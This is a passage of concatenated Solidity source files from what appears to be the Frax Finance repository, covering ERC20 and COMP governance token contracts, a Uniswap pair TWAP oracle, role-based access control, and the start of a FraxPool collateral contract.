function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address) public onlyByOwnerOrGovernance {
frax_eth_oracle_address = _frax_oracle_addr;
fraxEthOracle = UniswapPairOracle(_frax_oracle_addr);
weth_address = _weth_address;
}
// Sets the FXS_ETH Uniswap oracle address
function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address) public onlyByOwnerOrGovernance {
fxs_eth_oracle_address = _fxs_oracle_addr;
fxsEthOracle = UniswapPairOracle(_fxs_oracle_addr);
weth_address = _weth_address;
}
function toggleCollateralRatio() public onlyCollateralRatioPauser {
collateral_ratio_paused = !collateral_ratio_paused;
}
/* ========== EVENTS ========== */
// Track FRAX burned
event FRAXBurned(address indexed from, address indexed to, uint256 amount);
// Track FRAX minted
event FRAXMinted(address indexed from, address indexed to, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import "../Common/Context.sol";
import "./IERC20.sol";
import "../Math/SafeMath.sol";
import "../Utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.approve(address spender, uint256 amount)
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for `accounts`'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal virtual {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of `from`'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of `from`'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
/**
*Submitted for verification at Etherscan.io on 2020-03-04
*/
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
contract Comp {
/// @notice EIP-20 token name for this token
string public constant name = "Compound";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "COMP";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million Comp
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import '../Uniswap/Interfaces/IUniswapV2Factory.sol';
import '../Uniswap/Interfaces/IUniswapV2Pair.sol';
import '../Math/FixedPoint.sol';
import '../Uniswap/UniswapV2OracleLibrary.sol';
import '../Uniswap/UniswapV2Library.sol';
// Fixed window oracle that recomputes the average price for the entire period once every period
// Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract UniswapPairOracle {
using FixedPoint for *;
address owner_address;
address timelock_address;
uint public PERIOD = 3600; // 1 hour TWAP (time-weighted average price)
uint public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end
bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale
IUniswapV2Pair public immutable pair;
address public immutable token0;
address public immutable token1;
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
modifier onlyByOwnerOrGovernance() {
require(msg.sender == owner_address || msg.sender == timelock_address, "You are not an owner or the governance timelock");
_;
}
constructor(address factory, address tokenA, address tokenB, address _owner_address, address _timelock_address) public {
IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // Fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // Fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, 'UniswapPairOracle: NO_RESERVES'); // Ensure that there's liquidity in the pair
owner_address = _owner_address;
timelock_address = _timelock_address;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setTimelock(address _timelock_address) external onlyByOwnerOrGovernance {
timelock_address = _timelock_address;
}
function setPeriod(uint _period) external onlyByOwnerOrGovernance {
PERIOD = _period;
}
function setConsultLeniency(uint _consult_leniency) external onlyByOwnerOrGovernance {
CONSULT_LENIENCY = _consult_leniency;
}
function setAllowStaleConsults(bool _allow_stale_consults) external onlyByOwnerOrGovernance {
ALLOW_STALE_CONSULTS = _allow_stale_consults;
}
// Check if update() can be called instead of wasting gas calling it
function canUpdate() public view returns (bool) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
return (timeElapsed >= PERIOD);
}
function update() external {
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, 'UniswapPairOracle: PERIOD_NOT_ELAPSED');
// Overflow is desired, casting never truncates
// Cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
}
// Note this will always return 0 before update has been called successfully for the first time.
function consult(address token, uint amountIn) external view returns (uint amountOut) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, 'UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE');
if (token == token0) {
amountOut = price0Average.mul(amountIn).decode144();
} else {
require(token == token1, 'UniswapPairOracle: INVALID_TOKEN');
amountOut = price1Average.mul(amountIn).decode144();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../Utils/EnumerableSet.sol";
import "../Utils/Address.sol";
import "../Common/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; //bytes32(uint256(0x4B437D01b575618140442A4975db38850e3f8f5f) << 96);
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ============================= FraxPool =============================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
// Reviewer(s) / Contributor(s)
// Sam Sun: https://github.com/samczsun
import "../../Math/SafeMath.sol";
import "../../FXS/FXS.sol";
import "../../Frax/Frax.sol";
import "../../ERC20/ERC20.sol";
import "../../Oracle/UniswapPairOracle.sol";
import "../../Governance/AccessControl.sol";
import "./FraxPoolLibrary.sol";
contract FraxPool is AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
ERC20 private collateral_token;
address private collateral_address;
address private owner_address;
address private frax_contract_address;
address private fxs_contract_address;
address private timelock_address;
FRAXShares private FXS;
FRAXStablecoin private FRAX;
UniswapPairOracle private collatEthOracle;
address public collat_eth_oracle_address;
address private weth_address;
uint256 public minting_fee;
uint256 public redemption_fee;
uint256 public buyback_fee;
uint256 public recollat_fee;
mapping (address => uint256) public redeemFXSBalances;
mapping (address => uint256) public redeemCollateralBalances;
uint256 public unclaimedPoolCollateral;
uint256 public unclaimedPoolFXS;
mapping (address => uint256) public lastRedeemed;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_MAX = 1e6;
// Number of decimals needed to get to 18
uint256 private immutable missing_decimals;
// Pool_ceiling is the total units of collateral that a pool contract can hold
uint256 public pool_ceiling = 0;
// Stores price of the collateral, if price is paused
uint256 public pausedPrice = 0;
// Bonus rate on FXS minted during recollateralizeFRAX(); 6 decimals of precision, set to 0.75% on genesis
uint256 public bonus_rate = 7500;
// Number of blocks to wait before being able to collectRedemption()
uint256 public redemption_delay = 1;
// AccessControl Roles
bytes32 private constant MINT_PAUSER = keccak256("MINT_PAUSER");
bytes32 private constant REDEEM_PAUSER = keccak256("REDEEM_PAUSER");
bytes32 private constant BUYBACK_PAUSER = keccak256("BUYBACK_PAUSER");
bytes32 private constant RECOLLATERALIZE_PAUSER = keccak256("RECOLLATERALIZE_PAUSER");
